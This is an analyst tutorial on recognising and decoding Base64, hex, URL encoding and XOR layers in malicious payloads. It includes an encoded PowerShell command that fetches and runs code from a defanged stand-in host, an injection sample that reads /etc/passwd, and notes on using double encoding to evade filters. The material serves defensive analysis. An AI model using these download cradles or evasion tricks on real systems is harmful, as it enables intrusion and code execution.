Encodings in Malicious Payloads: Recognising and Peeling Base64, Hex, XOR and Friends

Encoding is not encryption, and attackers know it

Encoding transforms bytes into another representation so they survive a transport: an email body, a URL, a command line, a JSON field. There is no key. Anyone who knows the scheme can reverse it.

Attackers use encodings for two reasons. First, transport: a binary payload has to cross a channel that only accepts text. Second, evasion of naive matching: a string like DownloadString will not match a keyword rule once it is Base64-encoded. Neither reason makes the payload hard to analyse. It only makes it hard to read at a glance, which is the skill this article is about.

The workflow is always the same: recognise the encoding, decode one layer, look at the result, repeat. The hard part is the first step.

Recognition cheat sheet

Before touching any decoder, look at the alphabet, the length and the edges of the string.

Hex versus Base64 is the most common confusion: a hex string is valid Base64 alphabet too. The tie-breakers are that hex never contains letters past f, and its decoded length is exactly half the string. The Base64 vs hex comparison covers the trade-offs in more depth.

Base64 prefixes worth memorising

Because Base64 maps every 3 input bytes to 4 output characters, the same file header always produces the same first few characters. These are worth knowing by heart:

Spotting TVqQAA inside a script tells you an executable is embedded before you decode anything. Spotting H4sI tells you the next layer is compressed, so your decoder chain needs a gunzip step.

Base64: the workhorse

Base64 appears everywhere: email attachments (MIME), data URIs, PowerShell command lines, JavaScript droppers, macros, configuration blobs in malware.

echo 'd2hvYW1p' | base64 -d
# whoami

Two gotchas catch people regularly:

• Missing padding. Many decoders reject input whose length is not a multiple of 4. Attackers and some formats strip =. Add padding back until the length divides by 4.
• Base64url. If you see - and _ and the decoder fails, swap them for + and /.

For quick one-offs, the Base64 tool decodes in the browser without sending the sample anywhere, which matters when the string contains internal hostnames or credentials.

PowerShell -EncodedCommand: Base64 over UTF-16LE

PowerShell's -EncodedCommand (and its abbreviations -enc, -e, -ec) expects Base64 of the command encoded as UTF-16LE, not UTF-8. Every ASCII character becomes two bytes, the second being 0x00. That null byte is why encoded commands are full of A characters: in Base64, runs of zero bits encode as A.

powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAeAB4AHAAOgAvAC8AZQB4AGEAbQBwAGwAZQBbAC4AXQBjAG8AbQAvAGEAIgApAA==

Decode it as Base64, then interpret the bytes as UTF-16LE:

echo 'SQBFAFgAIAAoAE4A...' | base64 -d | iconv -f UTF-16LE -t UTF-8
# IEX (New-Object Net.WebClient).DownloadString("hxxp://example[.]com/a")

If you decode as UTF-8 by mistake, you get I E X ( N e w with invisible nulls between letters. That spacing is itself a recognition signal: if a decoded string looks "double spaced", it is UTF-16LE.

Hex and character codes

Hex shows up as raw strings (77686f616d69), escaped sequences (\x77\x68\x6f), or PowerShell byte arrays (0x77,0x68,0x6f). Shellcode loaders favour it because it is trivial to embed in source code.

echo '77686f616d69' | xxd -r -p
# whoami

Decimal character codes are the same idea in base 10: [char]119+[char]104+... in PowerShell, or String.fromCharCode(119,104,...) in JavaScript. Printable ASCII sits between 32 and 126, so a list of numbers in that range is almost always text.

URL encoding

URL (percent) encoding replaces reserved or non-ASCII bytes with % followed by two hex digits. You will see it in web logs, phishing links and injection attempts:

cmd%3Dcat%20/etc/passwd%26x%3D%3Cscript%3E

decodes to cmd=cat /etc/passwd&x=<script>.

Watch for double encoding: %253C decodes to %3C, which decodes again to <. Attackers use it to slip past filters that decode once. If a decoded string still contains %XX sequences, decode again. The URL encoder/decoder makes this quick, and + meaning space in form data is another frequent trap.

XOR: the cheapest cipher

XOR with a short key is technically encryption, but in practice it is used like an encoding. Malware XORs strings, configuration blocks and second-stage payloads with a single byte or a short repeating key.

How to recognise it:

• Output of a Base64 or hex decode is not text and does not start with a known file header.
• The data has visible repetition, especially where the plaintext had runs of zeros. XOR of 0x00 with the key is the key, so long zero runs in a PE file leak the key in clear.
• Known plaintext lines up: if you expect MZ at offset 0, XOR the first two bytes with 4D 5A and you get the key candidate.

data = bytes.fromhex("1700")      # first two bytes of the blob
key = bytes(a ^ b for a, b in zip(data, b"MZ"))
print(key.hex())                  # 5a5a -> single-byte key 0x5a

For single-byte XOR there are only 256 keys, so brute force and look for readable output or known headers. For multi-byte keys, the zero-run trick usually gives you the key directly.

Layered encodings: peel, look, repeat

Real samples stack layers. A typical JavaScript or PowerShell dropper might look like this:

URL-encoded string
  -> Base64
    -> gzip (starts with H4sI once Base64-decoded)
      -> PowerShell script
        -> another Base64 blob (UTF-16LE)
          -> XOR'd shellcode

The discipline that keeps you sane:

1. Decode one layer at a time. Never chain five operations on a guess. Check the output after each.
2. Re-run recognition on every output. Look at the alphabet, the first bytes, the padding.
3. Watch the length. Base64 decoding shrinks data by about a quarter; hex halves it; gzip usually shrinks a lot more. If the size does not change as expected, you picked the wrong scheme.
4. Keep intermediate outputs. Write each layer to a file with a numbered name. When a later layer goes wrong, you can step back.
5. Stop at the indicators. You do not always need the final shellcode. Often the URL or domain at layer three is what the investigation needs.

When the outer layer is JavaScript with string arrays, rotations and eval wrappers rather than plain encoding, a JavaScript deobfuscator handles the structural part, and malicious JavaScript deobfuscation walks through the manual approach.

From decoded payload to indicators

Once the plaintext is visible, extract what matters: URLs, domains, IPs, hashes of embedded files, mutex names, registry keys. Paste the decoded layers into the IOC extractor to pull indicators out in bulk, then defang them before sharing (hxxp://example[.]com). Hash any embedded executable you carved and check it on /hash/, and look up the delivery domains on /domain/.

Takeaways

• Recognise before decoding: alphabet, length, padding, first characters.
• Memorise a handful of Base64 prefixes: TVqQAA, H4sI, UEsDB, JVBERi0, aHR0cA, SQBFAFgA.
• PowerShell -enc is Base64 over UTF-16LE. Double-spaced output means you used the wrong text encoding.
• Double URL encoding and missing Base64 padding cause most "my decoder failed" moments.
• XOR leaks its key over zero runs and known headers.
• Peel one layer at a time, save every layer, stop when you have the indicators.

Encodings are a speed bump, not a wall. Once you can name a layer by sight, most "obfuscated" payloads take minutes, not hours.